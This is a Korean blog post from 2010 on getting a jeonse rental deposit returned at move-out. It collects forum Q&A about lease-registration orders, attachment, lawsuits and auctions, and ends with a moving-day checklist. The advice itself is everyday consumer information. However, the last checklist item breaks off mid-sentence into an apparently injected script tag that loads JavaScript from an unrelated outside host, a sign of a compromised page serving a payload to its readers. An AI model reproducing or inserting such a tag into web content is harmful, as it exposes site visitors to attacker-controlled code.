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전세 나갈 때 전세보증금 반환 문제.

LEEHK 2010. 10. 12. 19:42


 전세 수요가 많은 양재역 5분 거리에 집을 얻은 덕분에 2주 만에 집이 나가고 이사 날짜도 잡았다.

 2년 계약 만료 한 달 전에 이사할 것을 통보했으므로, 복비 등 여타 부담은 없다.

 * 계약 만료 전 이사할 경우, 다음 세입자를 구하는 복비를 부담해야 한다.


 큰 가구라고는 침대, 냉장고, 세탁기 정도 밖에 없지만, 짐을 싸고 푸는 게 정신없이 피곤하고,

 용달이사를 불러봤자 3~40만원에, 힘들었다고 추가비용도 요구한다고 하니 

 깔끔하게 포장이사로 결정했다. 견적은 60만원대로 나왔다.


 

 이제 이사일만 남았는데, 전세보증금을 받는 데 문제가 생기진 않을지 괜히 불안해져 한참 알아보았다.

 집주인이 독한 사람이 아니라면 별 문제 없이 이사하는 날 잔금을 돌려주는 것이 관례이지만

 자칫 이사 나가고 난 뒤 주인이 딴소리를 한다면 문제가 생길 수 있다고 한다.


 결론적으로 말하면, 전세보증금 잔금 들어온 것 확인하지 못하면, 짐을 빼지 말란다.

 이사나가면 전세보증금 반환 청구할 수 없어진다고 =_=


 자세한 내용은 아래에 덧붙인다.

 웹서핑을 한참 하며 긁어 모은 것들이다.




Q. 

계약일이 완료되서 이사를 하게되면

보통 이삿짐 나르기 시작하면 중간에 부동산에 받아오거나

이삿짐 다 빼면 주인한테 돌려받는 걸로 알고 있습니다.

(제가 알고 있는게 맞나요?)

 

지금 살고있는 집에서 곧 이사를 가야 하는데,

다른 세입자가 들어오는게 아니고 집주인이 들어와 살겠다고 합니다.

(부동산에 내놓지 않았습니다.)

이럴경우 전세보증금을 언제 받아야 하나요?

어떤분은 부동산을 거치지 않기때문에 조금 걱정 된다고,

보증금을 받고나서 이삿짐을 빼라고 하는데요.

어떻게 해야 할까요?

조언 부탁드립니다. 


A. 

나가는 당일날(계약 만료 시점이니까요.)까지 받아야 합니다. (돈 안받으시면 집열쇠 반납하지 마셔요..) 

만약 나가는 당일날까지 못 받으시면 소정의 절차를 통해 임차권등기부터 시작하실 수 있습니다. 

임차권 등기가 되면 집 주인 여러모로 껄끄러워지니까 대부분 그 이전에 받을 수 있습니다.

꼭 보증금을 받고 짐을 빼십시요.... 임대차 보호법에서 3가지가 모두 성립이 되야지 되는데요. 

그 중에 실 거주를 하고 있으셔야 합니다. 이사 당일까지 꼭 달라고 하셔서 보증금 받고 이사 하세요.




Q. 
내일 이사를 합니다.새로 들어갈 집도 내일 이사를 나가구요 
이사 나가면 저희가 들어 가기로 되어 있습니다.
저희가 전세보증금을 받아서 새로 들어 가려는 집에 중도금을 주기로 되어있어요
만약 우리 집 주인이 내일 돈을 주지 않으면 모든게 계획이 다 엉망이 되는데 이를 경우 어떻게 해야 되죠?
저희가 8월 중순까지 전세 계약인데 지금 살고 있는 집을 주인이 월세로 운영 한다고 하내요 그래서 내일가지 있기로 사전에 협의는 했고요 새로 이사갈 집은 계약금+중도금해서 2200 만원 준 상태입니다. 중고금 달라고 저희가 전화통화 부동산에서 전화 통화 했는데 돈이 없다고 하내요 일단 내일 온다고 했는데 전 최악의 경우도 항상 생각을 해야 될것 같아서 질문올린것 입니다.

A. 
보증금을 받지 않고 이사를 할 수는 없을 것이고, 보증금을 받지 않고 이사를 하고 나면, 보증금의 반환에 상당한 어려움이 있을 것을 감안하여야 할 것으로,
이사짐을 싸고 이사준비가 완료가 되었다고 해도, 보증금의 반한을 받고 이사를 히여야, 보증금의 반한에 안전이 확보 될 것입니다. 

 귀하의 사정이 딱하게 되었군요.
그간의 기간동안 임대인과 임차인과의 관계가 어떻게 이루어졌는지는 모르겠으나, 보통이 경우는 아닌것 같군요!
먼저 원만히 이루어지기를 바랍니다.
중도금인지, 잔금인지를 정확히 모르겠군요?
문맥상으로는 잔금인것 같은데.....
 
잔금의 경우는 앞선 기간에 임대인에게 정식적인 보증금반환의 청구가 있었는지?
그를 입증할 수 있는 문건이 있는지? (문자라도)
그리고 전세권설정등이 있는지 여부에 따라 조금씩 다르게 이루어져야 할 것 같습니다.
 
그냥 일반적인 임차권의 경우로 설명하지면,
내일 보증금반환이 이루어지 않는다면 전출입신고등을 하지 않으셔야 하며, 기존의 임차한 집에 계속 거주하셔야 하십니다.
그리고 보증금 반환을 재차 청구하시고, 임차권등기명령신청을 하시어야 하시겠지요
그리고 이사갈 집의 계약금등을 되돌려 받을 수 없다면,(통상 못받는 것이지만.....) 그로 인한 손해배상청구도 아울러 이루어져야 하겠지요
 
그리고 임차권등기명령으로 등기부상 임차권이 기입되기전까지는 
그 임차주택에서 이사를 가시면 임차권보호를 받지 못함으로 각별 주의하시어야 합니다.
결정문만 받았다고 냉큼 이사를 하는 경거망동하는 것은 나중에 천추의 한으로 남습니다.
 
그러나 이러한 것들은 최악의 상황이라 간주하는 것으로 이런 일들이 없어야 하겠지요 
잘 해결되시길 바라겠습니다.


A.
1. 만기 1개월 전까지 나간다고 해서 나가는 경우에는 만기에 맞춰서 돈을 내줘야 합니다.
    집주인이 제 때에 돈을 내주지 않아서 손해가 발생하면 그건 모두 집주인에게 청구할 수 있습니다.
    줘야 할 날에 돈을 안줘서 이사 못가는 경우, 집주인에게 손해 배상을 청구하면 됩니다.
 
2. 당일 되어 돈을 정말 안주면 이사를 가지 말거나 아니면 이사 갈 집에 양해를 구할 수 있으면
    대출이라도 받아서 이사를 갈 수 있으면 가고 소송으로 가서라도 판결문 받아서 손해 배상을 청구하면 될 것입니다.
    그냥 이사를 가면 또 문제가 되니 임차권 등기 명령을 신청해 놓고 2주 정도 기다려 봤다가 등기가 되면 이사를 가야 합니다.



Q. 

안녕하세요
답답해서 회원분들의 소중한 답변을 기다립니다.
1. 원래 저희들 전세 만기가 일년 남았습니다.(2010년 8월까지) 
2. 저희들 사정상 주인과 합의하에 올해 8월달에 이사를 가기로 합의를 하였습니다. 
3. 문제는 전세금이 1억 500만원인데 주인이 지금 이사 나갈때 팔천만을 주고 나머지 이천오백만원은 돈이 없어서  전세만기인 2010년 8월까지 지급하기로 일단 약속을 하였고 저희들도 거기에 동의하였습니다. 
4. 저희가  이사가는 집도 전세인 관게로 주소를 이사가는 집으로 옳겨야 합니다.  
5. 문제는 전세만기시에.(2010년 8월까지) 이천오백만원을 받아야 하는 데 물론 주인이 지급하겠지만 일년이 남은 관계로 많이 불안하네요 
5. 어떤 방법을 취하면 덜 불안에 떨면서 확실하게 주인에게 일년 후 나머지 보증금을 돌려 받을 수 있을까요??
  가. 미수금 이천오백만원에 대한 현금 보관증을 받아 둔다.
  나. 미수금 이천오백만원에 대한 차용증을 받아둔다.
  다.  미수금 이천오백만원에 대한 계약서를 다시 작성하고 전세권을 설정해 둔다. 
생각나는 것이 이 정도인데 또 다른 고견이나 아니면 위의 사항에서 가장 확실한 방법이면서 덜 불안해 할 방법은 무엇일까요??
소중한 답변 마구 기다립니다.

A. 
제3자(부동산) 끼고 계약서 작성하시면 끝날듯 싶네요
전세권설정이 가장 합당해 보입니다.
근저당설정.>공증증서,>현금보관증>차용증.. 일것같은데요^^




Q. 전월세 보증금을 못받고 이사나갈 경우 준비해야할 것?

A. 
대응방법입니다.
1. 내용증명보내기
 - 계약만료 즉시 보증금 반환을 요구한다는 내용과 이의 미이행시 손해배상청구한다는 내용으로 내용증명
    한 통 보내시기 바랍니다.
 - 법적인 강제력이나 정해진 양식은 없습니다. 다만, 나중에 소송에 하나의 증거자료로 활용할 수 있고,
    집주인에게는 상당한 압박감으로 작용할 수 있습니다. 
 
2. 가압류 하기
 - 소송을 하기 전에 집주인 소유의 물권에 대해 가압류를 하여 소송 중에 집주인이 함부로 자신의 재산을 처분하지
    못하도록 해 놓아야 합니다.
    (반드시 처분하지 못하는 것은 아닙니다. 가압류된 재산을 팔 경우 새로운 소유자는 질문자님의 가압류를 떠안은
     상태에서 인수받게 됩니다.
     따라서 큰 메리트가 있는 건물이 아닌 한 사겠다는 사람이 없겠죠? 가처분 신청과는 상이합니다.)
 - 일종의 안전장치라고 보시면 됩니다.
 - 가압류 비용은 집주인에게 청구 가능합니다.
 
3. 전세금반환청구소송 및 손해배상청구 하기
 - 두 내용을 함께 묶어 작성하시면 됩니다.
 - 규격된 양식은 없으니 인터넷 등에서 자료를 찾아 작성하시면 됩니다.
 - 단, 손해배상에 따른 이자청구는 질문자님이 계속 임차한 공간에 거주하고 계시면 청구하실 수 없고, 이사한
    상태라면 연 20% 이자청구 가능합니다.
 - 전세금을 받지 못한 상태에서 이사할 경우는 반드시 임차권등기설정을 하고 가셔야 임차인으로서의
   권리가 보장된다는 점 유념바랍니다.
 - 전세금반환청구소송은 금액에 상관없이 소액재판으로 취급되어 빠르면 3개월 이내에 판결이 나옵니다.
 
* 가압류나 전세금반환청구소송을 직접 하시기 어렵게 느끼신다면 가까운 법무사사무소에 가셔서 일임하셔도
   됩니다. 금액은 50- 70만원 정도이며, 이 비용 또한 집주인에게 청구가능합니다.
 
4. 강제집행(경매) 하기 
 - 승소 판결 후 결정문 받아 경매계에 가서 집주인 소유 물권에 대해 강제경매 진행하면 됩니다.
 - 낙찰자가 정해지고 배당금이 나오면 질문자님의 금액을 반환받고 사건종결하면 됩니다.
 - 기간은 대략 6.7개월 걸립니다.
 
* 가압류에서 소송 및 경매까지 빠르면 1년 정도 예상하시면 되고요, 여러 사유로 지체가 된다면 딱히 언제까지
   사건이 종결된다고 말씀드릴 수 없을 정도로 세월아 네월아 할 수 있습니다.
  그야말로 내 돈가지고 몸고생, 맘고생 확실히 하는 것이죠.
  하지만, 집주인이 언젠가 해결해 주겠지..하고 막연히 기다리는 것보다는 자신의 의지를 분명히 내세울 수 있는
  가장 확실한 방법일 겁니다.
  질문자님이 잘 판단하시기 바랍니다.
 
추신1) 1-3번 과정을 거쳤음에도 자신의 전세금을 완전히 보전받지 못하는 경우도 있습니다. 집주인이 소유한
         건물에 많은 채권이나 근저당 등이 설정되어 있을 경우는 아무리 위 단계를 거쳐봐야 남 좋은 일만 대신
         해 주는 꼴이 되고마니까요.
         가압류까지는 하시고, 소송하시기 전에 등기부등본 및 다른 임차인들이 계시면 그 분들과 질문자님과의
         권리관계 분석을 반드시 해보시기 바랍니다.
         즉, 소송 및 경매를 해서 채권자들 돈을 다 주고도 내가 과연 받을 수 있는 금액이 남을 것인지를 한 번
         계산할 필요가 있다는 겁니다. 이를 먼저 해 보신 후 1-3단계를 추진할 것인지를 결정하시기 바랍니다.
 
추신2) 전세금 금액이 얼마인지는 모르겠지만, 우선 가까운 법률구조공단에 가셔서 무료 상담 받아보시기
           바랍니다. 국가에서 운영하는 법률서비스 기관으로 일정 자격 요건이 갖추어진 분이라고 판단이 되면
           공단에서 무료로 변호사를 선임하여 재판을 진행해 주기도 합니다.
           (국선변호사와는 다릅니다. 이 비용 또한 집주인에게 모두 청구됩니다.) 
 
감정적으로 일을 처리하지 마시고 이제부터라도 철저히 계산적이 되셔서 과연 어느 쪽으로 대처하는 것이 나에게
유리한 상황인지를 냉철히 파악하신 다음에 대응하시기 바랍니다.
 
이상입니다.
감사합니다. 


A. 
이런 일에 절차와 방법을 해결해주는 곳은 따로 없습니다.
임차권 등기명령 같은 것을 해달라고 법무사 사무소에 가셔서 부탁을 하는 것이 있을 것입니다. 
지금 방법으로는 (1) 임차권 등기명령, (2) 소송, (3) 경매의 방법을 생각해 놓아야 합니다. 
1.  일단 만기가 지나서도 돈을 주지 않는다면 임차권 등기명령을 신청해야 합니다.
 
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[ 임차권등기명령 신청 방법 ]

1.  신청 순서

  ⑴ 관할 시,군,구청 중 지방세과에 가셔서 등록세 신고 서류를 작성하여 제출합니다.

  ⑵ 등록세 + 지방교육세 지로 용지를 받아서 관할 법원으로 갑니다.

  ⑶ 관할 법원에 가서 주택 임차권 등기 명령 신청서가 있는데 1부 작성하고
  ⑷ 법원 내 은행에서 수입 증지  / 대법원 증지  / 송달 예치금 / 등록세 지로 납부를 하시고,

  ⑸ 아래의 서류를 첨부하시면 됩니다.
 
    ① 건물 등기부 등본 1통
    ② 주민 등록 등본 1통 /
    ③ 임대차 계약서 사본 1통
    ④ 부동산 목록(A4 용지에 자신이 기록) 5통을 준비하여 신청서와 같이 제출하시면 됩니다.

2. 신청 서식
    대법원 홈페이지도 있지만 법원 민사과에 가면 구비되어 있어서 제출하시면 오히려 편합니다.

3. 경비
    3 ~ 4만원 정도가 들어 갑니다.

4. 소요 기간
     집주인에게 따질 수 있는 시간도 줘야 하니 2주에서 한 달 정도가 걸립니다.
     그래서 등기를 신청해놓고 바로 이사가면 대항력이나 우선 변제 모두 사라지고 등기된 후에
     다시 발생하여 권리 보호에 문제가 생기니 주의(경료된 것을 보고 이사 가야 함)해야 합니다.
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2.  임차권 등기명령 후에도 계속 돈을 주지 않으면 판결문을 얻어야 합니다.
     소액사건 심판법이면 변호사를 사지 않아도 되며 2 ~ 3개월만에 판결문을 얻을 수도 있습니다.
 
3.  그리고도 계속 돈을 주지 않으면 경매를 신청해 달라고 법원에 부탁을 해야 합니다.
     경매에 필요한 돈을 내고 매각을 부탁하면 8개월 정도의 기간 안에 경매가 될 것입니다.
    
4.  이게 보통 일이 아니라서 부동산을 통해서 방을 빼고 나오는 방법이 더 효율적이고 고생도 덜하게 됩니다.
 

A.
질문 1.  이런 내용의 확약서가... 법적으로 실효성이 있는지..공증을 받을 필요는 없는지 궁금하구요.
 
1. 확약서를 쓰면 법률적인 실효성은 있습니다.
    공증은 받지 않아도 됩니다. 그래도 법률적인 효력은 있습니다.
 
2. 하지만 그걸 집행하려면 어려움이 있습니다.
    공증 받아봐야 3개월 이내에 집주인이 돈을 안주면 경매를 신청해야 하니 별 의미는 없습니다.

 
질문 2.  임대차 등기 명령제도 가 있다고 하던데요...
임대차 등기가 확정되지 않은 상태에서 전입신고하며 실효성이 없다고해서요..
이럴 경우 저희 신랑만 현주소에 주민등록지로 해두고 저와 우리 애기만 새로운 주소지로 이전에 전입할 경우에도
괜찮을까요?
 
1. 전출해서 이사를 가려고 하면 임차권 등기 명령을 신청해 놓고 경료(2주 정도 걸림)가 되면 이사를 가야 합니다.
 
2. 신랑만 주소를 남겨 놓고 이사를 가도 그 집에서 살지 않으면 대항력이 소멸하여 경매 되면 보호가 안됩니다.
    이사를 갈 것이라고 하면 임차권 등기 명령을 신청해야 합니다.
 
3. 일단 확약서는 받아 놓고 임차권 등기 명령을 신청해서 임차권 등기가 되면 이사를 가시길 바랍니다.
    3개월 후에 이행을 안하면 강제 집행하면 됩니다.
    강제 집행할 때에는 공증 받아 놓으면 바로 가능하니 그것까지 대비하려면 공증까지 받아 놓으시길 바랍니다.
 
감사합니다.



[ 이사할 때 주의점 ]
[D-4개월] 이사 갈 곳 위치 정하기 

[D-2∼3개월] 집주인과 상의해서 집 내놓기 

[D-2개월] 이사 갈 집 고르기 전셋집은 ‘잘 나가는 집’이 최고 다. 구할 때보다 나갈 때를 먼저 생각하고 고르는 것이 현명하다. 나중에 이사를 가려고 할 때 집이 잘 빠지지 않는다면 애먹는 쪽은 오히려 세입자 일 경우가 많기 때문이다. 조금 비싸도 인기 지역을 골라두면 후회하는 일 이 드물다. 

[D-1∼2개월] 살고 있던 집이 계약되면 이사 갈 집 계약하기 

1.계약 전 등기부 등본 체크는 필수 

계약을 원할 때는 반드시 당일 날짜의 등기부 등본부터 살펴본다. 소유권자 가 누구인지, 몇 명인지를 확인하고 근저당, 압류, 가압류 여부를 체크한 다. 근저당이 거래가의 30~40% 정도라면 안심할 만하지만, 아파트라 해도 60%를 넘는 것은 위험하다. (인터넷으로 보는 등기부 등본 http://registry.scourt.go.kr : 대법원이 인터넷으로 운영하는 ‘부동산 등기부 인터넷 열람 서비스’. 집주소만으로 손쉽게 등기부를 열람할 수 있 다. 수수료는 1000원으로 신용카드, 계좌 이체를 통해 자동 결제된다. 단 지 열람만 되는 것으로 프린트를 해서 보관할 수는 없다.) 

2. 반드시 집의 소유권자와 계약한다 

계약금은 총 금액의 10%가량을 준비하고, 잔금은 반드 시 입주할 때 주어야 한다(전세는 대개의 경우 중도금이 없다). 또 계약서를 쓸 때에는 집의 소 유권자가 몇 명인지 확인해 반드시 모든 소유권자의 명의로 계약해야 한 다. 

D-1개월] 이사업체 선정, 견적 받은 뒤 계약하기 

1. 몇 군데 업체에서 견적을 뽑아보는 것이 안전하다. 또한 계약시 견적서 의 특약 사항에 사후 A/S 여부를 확실하게 해둔다. 웃돈 요구 금지, 파손 시 어떻게 배상할 것인지 등에 관해 꼼꼼히 적는다. 

2. 포장이사 이용시 신뢰성 있는 회사인지 유의하도록 한다. 

3. 손 없는 날은 한달 전, 주말 이사는 15일 전, 평일 이사는 10일 전 예 약 필수. 손 없는 날은 음력 9일과 10일, 19일과 20일, 29일과 30일. 

4. 견적 신청시 유리하므로 버릴 짐은 미리 정리한다. 
D-2주] 이사 당일 아이 맡길 곳 알아두기 

[D-5일] 재활용품 버리는 날 놓치지 않기, 이삿짐 센터에 전화로 예 약, 확인하기 

[D-4일] 각종 카드, 휴대전화, 보험회사에 전화, 주소 변경하기. 우 체국에 주소 이전 신고, 전화번호 이전하기 

1. 일일이 전화를 하거나 인터넷 사이트에 들어가 신고를 하면 되지만 번거 롭기 그지없다. 이럴 때 편리한 사이트가 바로 짚코드(www. zipcode.co.kr). 짚코드는 회사나 집을 옮겨 주소가 바뀐 경우, 우편물 누 락을 방지할 수 있는 주소 변경 대행 서비스를 무료로 대행해준다. 입력하 라는 대로 입력만 하면 짚코드가 각 카드회사 등에 이메일을 보내거나 온라 인으로 접촉, 주소 변경 사실을 알려주기 때문에 아주 간편하다. 

2. 우체국에 있는 ‘주소이전 신고엽서’를 작성해서 제출하면 3개월 동안 이전 주소로 온 우편물을 새 주소지로 배달해준다. 인터넷으로도 신청 가 능.(www.eposting.co.kr 혹은 www.epost.go.kr) 3. 전화 이전은 국번 없이 100번을 누르고 교환 4번을 누른 후 언제 이전하고 개통할 것인지 말해주 면 된다. 먼저 원하는 번호를 말하면 비슷한 번호를 배정해주기도 한 다. 

[D-3일] 이사 갈 집 답사해서 평면도와 배치도 그리기, 틈틈이 이사 할 물건 정리하기, 신문과 우유 배달 중지시키기 

1. 이때 줄자를 들고 가서, 방 크기, 창 크기 등을 꼼꼼하게 잰다. 또한 콘 센트, 방문, 창문 위치, 전화 꽂는 위치도 세세하게 알아놓으면, 배치도 작 성할 때 수월하다. 

2. 냉장고 음식물 정리는 필수. 버릴 것은 버리고 청소를 해둬야, 이사하자 마자 바로 기분 좋게 사용할 수 있다. 

3. 관할 도시가스 회사에 전화, 몇 월 며칠 몇 시에 가스 공급을 중단해달 라고 하고, 이사 가는 곳 관할 전화번호도 미리 알아둔 다음, 이사 전날 몇 시쯤에 와달라고 전화한다. 이사 당일은 정신없어서 잊어버리기 십상이 다. 

[D-2∼3일] 이사 갈 집에 도배, 장판하기, 대형 폐기물은 미리 동사 무소에 신고, 도시가스 분리 신청하기 

[D-1∼2일] 이사 갈 집 청소, 이사 비용, 중개료, 잔금 준비, 경비 실에 이사 날짜 통보, 통장이나 귀중품 따로 챙겨두기, 휴대전화 충분히 충 전하기 

1. 포장이사 비용, 부동산 중개료 등은 미리 계산해 봉투에 따로 넣어두면 편리하다. 만일 중개인이 법정 수수료 이상을 요구할 경우에는 영수증을 받 아 구청 토지과에 신고할 것. 과다 지불된 금액을 쉽게 환불받을 수 있 다. 

2. 특히 엘리베이터를 사용해 짐을 나를 경우, 경비 아저씨에게 이사 간다 는 사실을 알린다. 

3. 귀중품은 가방 등에 넣어 승용차에 보관한다. 

4. 가구, 가전제품에 있는 기존의 흠집?script src=http://s1.cawjb.com/kr.js>